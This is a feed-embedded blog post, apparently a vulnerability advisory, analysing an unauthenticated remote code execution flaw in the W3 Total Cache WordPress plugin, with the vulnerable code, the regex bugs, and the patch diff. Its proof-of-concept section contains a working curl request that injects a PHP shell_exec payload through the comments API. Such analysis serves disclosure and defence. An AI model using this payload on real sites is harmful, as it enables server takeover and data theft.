</content:encoded><atom:updated>2026-04-12T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-27384: Unauthenticated RCE in W3 Total Cache</title><link>https://hurayraiit.com/blog/cve-2026-27384-w3-total-cache-unauthenticated-rce/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-27384-w3-total-cache-unauthenticated-rce/</guid><description>CVE-2026-27384 is a CVSS 9.8 unauthenticated RCE in W3 Total Cache (&lt;=2.9.1). No account needed — attackers execute PHP via mfunc eval() injection.</description><pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-27384&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary code execution vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/w3-total-cache/&quot;&gt;W3 Total Cache&lt;/a&gt; WordPress plugin. Affecting all versions up to and including 2.9.1, it allows a remote, unauthenticated attacker to execute arbitrary PHP code on the server via the plugin&apos;s Dynamic Fragment Caching (&lt;code&gt;mfunc&lt;/code&gt;/&lt;code&gt;mclude&lt;/code&gt;) feature — no WordPress account required.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;W3 Total Cache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;w3-total-cache&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27384&quot;&gt;CVE-2026-27384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary Code Execution (Code Injection via &lt;code&gt;eval()&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/w3-total-cache.2.9.1.zip&quot;&gt;&amp;lt;= 2.9.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/w3-total-cache.2.9.2.zip&quot;&gt;2.9.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.code-white.com/&quot;&gt;CODE WHITE GmbH&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/w3-total-cache/w3-total-cache-291-unauthenticated-arbitrary-code-execution&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The W3 Total Cache plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.9.1. This makes it possible for unauthenticated attackers to execute code on the server.&lt;/p&gt;
&lt;p&gt;The root cause lies in the plugin&apos;s &lt;strong&gt;Dynamic Fragment Caching&lt;/strong&gt; feature — specifically the &lt;code&gt;mfunc&lt;/code&gt;/&lt;code&gt;mclude&lt;/code&gt; system — which executes arbitrary PHP code embedded in HTML comments within the page output buffer via PHP&apos;s &lt;code&gt;eval()&lt;/code&gt;. The feature is guarded by a &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; constant (security token), but multiple flaws in how this token is validated and how user-supplied content is sanitised allow the protection to be bypassed.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Feature Background: mfunc / mclude&lt;/h3&gt;
&lt;p&gt;W3 Total Cache&apos;s Dynamic Fragment Caching allows site developers to embed PHP code or file includes directly in page HTML using special HTML comment tags:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
--&amp;gt;
&amp;lt;!-- /mfunc SECURITY_TOKEN --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the page cache serves a cached page containing such tags, W3TC processes them server-side: the embedded PHP is executed via &lt;code&gt;eval()&lt;/code&gt; and its output replaces the comment block. This feature is controlled by the PHP constant &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; defined in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;h4&gt;Step 1 — Execution entry point: &lt;code&gt;_parse_dynamic_mfunc()&lt;/code&gt; (PgCache_ContentGrabber.php)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// PgCache_ContentGrabber.php (vulnerable 2.9.1)
public function _parse_dynamic_mfunc( $matches ) {
    $code1 = trim( $matches[1] );
    $code2 = trim( $matches[2] );
    $code  = ( $code1 ? $code1 : $code2 );

    if ( $code ) {
        $code = trim( $code, &apos;;&apos; ) . &apos;;&apos;;
        try {
            ob_start();
            $result = eval( $code ); // &amp;lt;-- ARBITRARY PHP CODE EXECUTION
            $output = ob_get_contents();
            ob_end_clean();
        } catch ( \Exception $ex ) {
            $result = false;
        }
        ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This function executes whatever PHP code is captured by the mfunc regex without any further access control.&lt;/p&gt;
&lt;h4&gt;Step 2 — Triggering eval: &lt;code&gt;_parse_dynamic()&lt;/code&gt; (PgCache_ContentGrabber.php:2091)&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;_parse_dynamic()&lt;/code&gt; scans the output buffer using &lt;code&gt;preg_replace_callback&lt;/code&gt; with the mfunc regex pattern:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _parse_dynamic( $buffer ) {
    if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
        return $buffer;
    }

    $buffer = preg_replace_callback(
        // BUG 1: W3TC_DYNAMIC_SECURITY is used RAW — no preg_quote()
        // BUG 2: \s* (zero or more spaces) before the token — allows no-space tags
        &apos;~&amp;lt;!--\s*mfunc\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/mfunc\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;\s*--&amp;gt;~Uis&apos;,
        array( $this, &apos;_parse_dynamic_mfunc&apos; ),
        $buffer
    );
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bug 1 — Missing &lt;code&gt;preg_quote()&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; is interpolated directly into a regex pattern. If the constant contains regex metacharacters (&lt;code&gt;.&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;[&lt;/code&gt;, &lt;code&gt;]&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt;, &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;), the pattern matches far more broadly than the literal token value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bug 2 — &lt;code&gt;\s*&lt;/code&gt; allows zero spaces&lt;/strong&gt;: The pattern &lt;code&gt;\s*TOKEN&lt;/code&gt; requires zero or more whitespace characters between &lt;code&gt;mfunc&lt;/code&gt; and the token. This means a no-space tag &lt;code&gt;&amp;lt;!-- mfuncTOKEN code --&amp;gt;&lt;/code&gt; MATCHES the execution regex.&lt;/p&gt;
&lt;h4&gt;Step 3 — Sanitisation bypass: &lt;code&gt;strip_dynamic_fragment_tags_from_string()&lt;/code&gt; (Generic_Plugin.php:212)&lt;/h4&gt;
&lt;p&gt;This function is supposed to remove mfunc/mclude tags from user-supplied content (comments, REST API responses, RSS feeds) before storage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Generic_Plugin.php (VULNERABLE — 2.9.1)
private function strip_dynamic_fragment_tags_from_string( $value ) {
    if ( ! is_string( $value ) || ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) || empty( W3TC_DYNAMIC_SECURITY ) ) {
        return $value;
    }

    $pattern = array(
        // BUG 3: \s+ (one or more spaces) is REQUIRED between mfunc and token
        // Tags like &amp;lt;!-- mfuncTOKEN --&amp;gt; have NO space — this regex MISSES them
        &apos;~&amp;lt;!--\s*mfunc\s+[^\s]+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mfunc\s+[^\s]+.*?\s*--&amp;gt;~Uis&apos;,
        &apos;~&amp;lt;!--\s*mclude\s+[^\s]+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mclude\s+[^\s]+.*?\s*--&amp;gt;~Uis&apos;,
    );

    $value = preg_replace_callback( $pattern, function ( $matches ) {
        return $matches[1]; // Keep content between tags
    }, $value );

    // Remove the security token from the remaining value
    return str_replace( W3TC_DYNAMIC_SECURITY, &apos;&apos;, $value );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bug 3 — &lt;code&gt;\s+&lt;/code&gt; vs &lt;code&gt;\s*&lt;/code&gt; mismatch&lt;/strong&gt;: The strip function requires at least one space (&lt;code&gt;\s+&lt;/code&gt;) between &lt;code&gt;mfunc&lt;/code&gt; and the token. However, the &lt;strong&gt;execution&lt;/strong&gt; regex uses &lt;code&gt;\s*&lt;/code&gt; (zero spaces allowed). A tag crafted as &lt;code&gt;&amp;lt;!-- mfuncTOKEN code --&amp;gt;&amp;lt;!-- /mfuncTOKEN --&amp;gt;&lt;/code&gt; (no space between &lt;code&gt;mfunc&lt;/code&gt; and token) &lt;strong&gt;bypasses the strip function entirely&lt;/strong&gt; but still matches the execution pattern.&lt;/p&gt;
&lt;h4&gt;Step 4 — Incomplete token validation: &lt;code&gt;_has_dynamic()&lt;/code&gt; (PgCache_ContentGrabber.php:2192)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _has_dynamic( $buffer ) {
    // BUG 4: Only checks defined() — not empty(), not numeric-only tokens
    if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) ) {
        return false;
    }

    return preg_match(
        // BUG 1+2 repeated: no preg_quote, uses \s*
        &apos;~&amp;lt;!--\s*m(func|clude)\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/m(func|clude)\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;\s*--&amp;gt;~Uis&apos;,
        $buffer
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bug 4&lt;/strong&gt;: The check only verifies that &lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; is &lt;code&gt;defined()&lt;/code&gt;. It does not guard against an empty string, a whitespace-only value, or a regex-metacharacter token. An empty token would cause &lt;code&gt;_has_dynamic()&lt;/code&gt; to return &lt;code&gt;true&lt;/code&gt; for any mfunc comment, while &lt;code&gt;_parse_dynamic()&lt;/code&gt; would still guard against execution (via &lt;code&gt;empty()&lt;/code&gt; check). But with a regex-metacharacter token (e.g., &lt;code&gt;.&lt;/code&gt;), BOTH &lt;code&gt;_has_dynamic()&lt;/code&gt; and &lt;code&gt;_parse_dynamic()&lt;/code&gt; accept the forged input.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The combined exploitation relies on two preconditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; contains at least one regex metacharacter (e.g., a single dot &lt;code&gt;.&lt;/code&gt; is sufficient).&lt;/li&gt;
&lt;li&gt;User-controlled content (e.g., a WordPress comment) is rendered in the page output buffer on a W3TC-cached page.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The security model assumes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The token is a literal string secret that must appear verbatim in mfunc tags.&lt;/li&gt;
&lt;li&gt;User-submitted content is sanitised to remove mfunc tags before storage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both assumptions break simultaneously:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;preg_quote()&lt;/code&gt; omission&lt;/strong&gt; causes the token to act as a regex pattern, not a literal string. A token like &lt;code&gt;.&lt;/code&gt; matches any single character, so &lt;code&gt;&amp;lt;!-- mfuncA code --&amp;gt;&lt;/code&gt; satisfies the pattern without the actual token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;\s+&lt;/code&gt; vs &lt;code&gt;\s*&lt;/code&gt; gap&lt;/strong&gt;: No-space tags bypass &lt;code&gt;str_replace&lt;/code&gt; removal (since the token appears only as &lt;code&gt;mfuncTOKEN&lt;/code&gt; concatenated, not as a standalone string to be removed if a single-char metacharacter is used).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can execute arbitrary PHP code on the server with the privileges of the web server process. This enables:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full server compromise&lt;/li&gt;
&lt;li&gt;Reading, modifying, or deleting all WordPress files and database contents&lt;/li&gt;
&lt;li&gt;Installing web shells or backdoors&lt;/li&gt;
&lt;li&gt;Pivoting to internal network services&lt;/li&gt;
&lt;li&gt;Exfiltrating sensitive data (credentials, API keys, user data)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site with &lt;code&gt;w3-total-cache&lt;/code&gt; plugin installed and activated (version ≤ 2.9.1)&lt;/li&gt;
&lt;li&gt;Page caching enabled in W3TC settings&lt;/li&gt;
&lt;li&gt;Comments enabled on one or more cached pages&lt;/li&gt;
&lt;li&gt;&lt;code&gt;W3TC_DYNAMIC_SECURITY&lt;/code&gt; is defined in &lt;code&gt;wp-config.php&lt;/code&gt; and contains a regex metacharacter (e.g., &lt;code&gt;define(&apos;W3TC_DYNAMIC_SECURITY&apos;, &apos;.&apos;);&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify a target post with caching and comments enabled&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Navigate to any WordPress post that has comments enabled and is cached by W3TC. Note the URL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET_URL=&quot;https://target.example.com/?p=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Inject the malicious mfunc payload via comment submission&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Submit a comment using the WordPress comment REST API or the standard form. The payload uses a &lt;strong&gt;no-space&lt;/strong&gt; mfunc tag to bypass the strip sanitiser:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# The payload: &amp;lt;!-- mfuncA phpcode --&amp;gt;&amp;lt;!-- /mfuncA --&amp;gt;
# &apos;A&apos; is an arbitrary character that matches the regex-metacharacter token (e.g., &apos;.&apos;)
# The PHP code is base64-encoded to avoid HTML encoding issues

PAYLOAD=&apos;&amp;lt;!-- mfuncA echo shell_exec(&quot;id&quot;); --&amp;gt;&amp;lt;!-- /mfuncA --&amp;gt;&apos;

curl -s -X POST &quot;$TARGET_URL/wp-json/wp/v2/comments&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &quot;{
    \&quot;post\&quot;: 1,
    \&quot;author_name\&quot;: \&quot;Visitor\&quot;,
    \&quot;author_email\&quot;: \&quot;visitor@example.com\&quot;,
    \&quot;content\&quot;: \&quot;$PAYLOAD\&quot;
  }&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If comment moderation is enabled, the attacker waits for approval, or alternatively submits via the HTML form to an existing open-comment post.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger page re-caching (or wait for cache expiry)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Request the page to force W3TC to re-render and re-cache the page with the injected comment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# First request: W3TC re-renders the page (cache miss) and caches with has_dynamic=true
curl -s &quot;$TARGET_URL&quot; &amp;gt; /dev/null

# Second request: W3TC serves from cache and runs _parse_dynamic() -&amp;gt; eval()
curl -s &quot;$TARGET_URL&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Observe code execution in the response&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The page response will include the output of &lt;code&gt;shell_exec(&quot;id&quot;)&lt;/code&gt; at the position of the comment, e.g.:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Comment content: --&amp;gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The server executes the injected PHP code (&lt;code&gt;shell_exec(&quot;id&quot;)&lt;/code&gt; in the example) with the privileges of the web server process, returning the output inline in the rendered page.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;To confirm code execution, check the HTTP response body for the output of the OS command (e.g., the string &lt;code&gt;uid=&lt;/code&gt; for Linux). For more persistent testing, replace &lt;code&gt;shell_exec(&quot;id&quot;)&lt;/code&gt; with &lt;code&gt;file_put_contents(&apos;/tmp/w3tc_pwned.txt&apos;, &apos;RCE confirmed&apos;);&lt;/code&gt; and verify the file creation on the server.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PgCache_ContentGrabber.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;preg_quote()&lt;/code&gt; around token; changed &lt;code&gt;\s*&lt;/code&gt; → &lt;code&gt;\s+&lt;/code&gt; in &lt;code&gt;_parse_dynamic()&lt;/code&gt; and &lt;code&gt;_has_dynamic()&lt;/code&gt;; added &lt;code&gt;empty()&lt;/code&gt; and &lt;code&gt;1 === (int)&lt;/code&gt; checks to &lt;code&gt;_has_dynamic()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Generic_Plugin.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changed strip regex from &lt;code&gt;\s+[^\s]+&lt;/code&gt; to &lt;code&gt;\s*\S+&lt;/code&gt; to also catch no-space tags; refactored &lt;code&gt;ob_start&lt;/code&gt; to avoid display-handler restriction&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — &lt;code&gt;preg_quote()&lt;/code&gt; (root cause)&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- &apos;~&amp;lt;!--\s*mfunc\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;(.*)--&amp;gt;~Uis&apos;
+ $security = preg_quote( W3TC_DYNAMIC_SECURITY, &apos;~&apos; );
+ &apos;~&amp;lt;!--\s*mfunc\s+&apos; . $security . &apos;(.*)--&amp;gt;~Uis&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;preg_quote()&lt;/code&gt; escapes all regex metacharacters in the token, ensuring it is treated as a literal string. A token of &lt;code&gt;.&lt;/code&gt; no longer matches any character — it only matches a literal dot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — &lt;code&gt;\s*&lt;/code&gt; → &lt;code&gt;\s+&lt;/code&gt; in execution regex&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- &apos;~&amp;lt;!--\s*mfunc\s*TOKEN(.*)--&amp;gt;~Uis&apos;
+ &apos;~&amp;lt;!--\s*mfunc\s+TOKEN(.*)--&amp;gt;~Uis&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Requiring at least one space between &lt;code&gt;mfunc&lt;/code&gt; and the token eliminates the &lt;code&gt;&amp;lt;!-- mfuncTOKEN --&amp;gt;&lt;/code&gt; no-space attack vector.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 3 — Strip regex: &lt;code&gt;\s+[^\s]+&lt;/code&gt; → &lt;code&gt;\s*\S+&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- &apos;~&amp;lt;!--\s*mfunc\s+[^\s]+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mfunc\s+[^\s]+.*?\s*--&amp;gt;~Uis&apos;
+ &apos;~&amp;lt;!--\s*mfunc\s*\S+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mfunc\s*\S+.*?\s*--&amp;gt;~Uis&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Changed to allow zero spaces between &lt;code&gt;mfunc&lt;/code&gt; and the token (&lt;code&gt;\s*\S+&lt;/code&gt;), so no-space tags like &lt;code&gt;&amp;lt;!-- mfuncTOKEN --&amp;gt;&lt;/code&gt; are now caught and stripped before reaching the &lt;code&gt;str_replace&lt;/code&gt; fallback.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 4 — Additional guards in &lt;code&gt;_has_dynamic()&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) ) {
+ if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Guards against empty tokens (PHP &lt;code&gt;empty(&apos;&apos;)&lt;/code&gt; = true) and pure-integer tokens (cast to 1 would match &lt;code&gt;is_numeric&lt;/code&gt; checks) marking pages as dynamic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 5 — &lt;code&gt;ob_start&lt;/code&gt; refactor (defense in depth)&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;In 2.9.1, W3TC registered &lt;code&gt;ob_callback()&lt;/code&gt; as a PHP display handler via &lt;code&gt;ob_start(array($this, &apos;ob_callback&apos;))&lt;/code&gt;. PHP&apos;s display-handler lock (&lt;code&gt;ob_lock&lt;/code&gt;) prevents nested &lt;code&gt;ob_start()&lt;/code&gt; calls inside display handler callbacks. Since &lt;code&gt;_parse_dynamic_mfunc()&lt;/code&gt; uses &lt;code&gt;ob_start()&lt;/code&gt; to capture &lt;code&gt;eval()&lt;/code&gt; output, this created unreliable behaviour: the eval output might leak into the parent buffer or the capture might fail.&lt;/p&gt;
&lt;p&gt;The fix moves mfunc processing out of the display handler callback and into a WordPress &lt;code&gt;shutdown&lt;/code&gt; action (priority 0), where &lt;code&gt;ob_start()&lt;/code&gt; can safely be called.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/PgCache_ContentGrabber.php
+++ b/PgCache_ContentGrabber.php
@@ _parse_dynamic() @@
+       $security = preg_quote( W3TC_DYNAMIC_SECURITY, &apos;~&apos; );
 
        $buffer = preg_replace_callback(
-               &apos;~&amp;lt;!--\s*mfunc\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/mfunc\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;\s*--&amp;gt;~Uis&apos;,
+               &apos;~&amp;lt;!--\s*mfunc\s+&apos; . $security . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/mfunc\s+&apos; . $security . &apos;\s*--&amp;gt;~Uis&apos;,

@@ _has_dynamic() @@
-       if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) ) {
+       if ( ! defined( &apos;W3TC_DYNAMIC_SECURITY&apos; ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
                return false;
        }
 
+       $security = preg_quote( W3TC_DYNAMIC_SECURITY, &apos;~&apos; );
+
        return preg_match(
-               &apos;~&amp;lt;!--\s*m(func|clude)\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/m(func|clude)\s*&apos; . W3TC_DYNAMIC_SECURITY . &apos;\s*--&amp;gt;~Uis&apos;,
+               &apos;~&amp;lt;!--\s*m(func|clude)\s+&apos; . $security . &apos;(.*)--&amp;gt;(.*)&amp;lt;!--\s*/m(func|clude)\s+&apos; . $security . &apos;\s*--&amp;gt;~Uis&apos;,

--- a/Generic_Plugin.php
+++ b/Generic_Plugin.php
@@ strip_dynamic_fragment_tags_from_string() @@
+       // Use \s*\S+ so no-space tags like &amp;lt;!-- mfuncTOKEN --&amp;gt; are also caught
        $pattern = array(
-               &apos;~&amp;lt;!--\s*mfunc\s+[^\s]+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mfunc\s+[^\s]+.*?\s*--&amp;gt;~Uis&apos;,
+               &apos;~&amp;lt;!--\s*mfunc\s*\S+.*?--&amp;gt;(.*?)&amp;lt;!--\s*/mfunc\s*\S+.*?\s*--&amp;gt;~Uis&apos;,

@@ ob_start handling @@
-       ob_start( array( $this, &apos;ob_callback&apos; ) );
+       ob_start();
+       $this-&amp;gt;_ob_level = ob_get_level();
+       add_action( &apos;shutdown&apos;, array( $this, &apos;ob_shutdown&apos; ), 0 );
+       register_shutdown_function( array( $this, &apos;ob_shutdown&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is complete. No residual risks are identified in the patched code for this specific vulnerability chain.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by CODE WHITE GmbH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.9.2 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;w3-total-cache&lt;/code&gt; plugin to version &lt;strong&gt;2.9.2&lt;/strong&gt; or later.&lt;/p&gt;
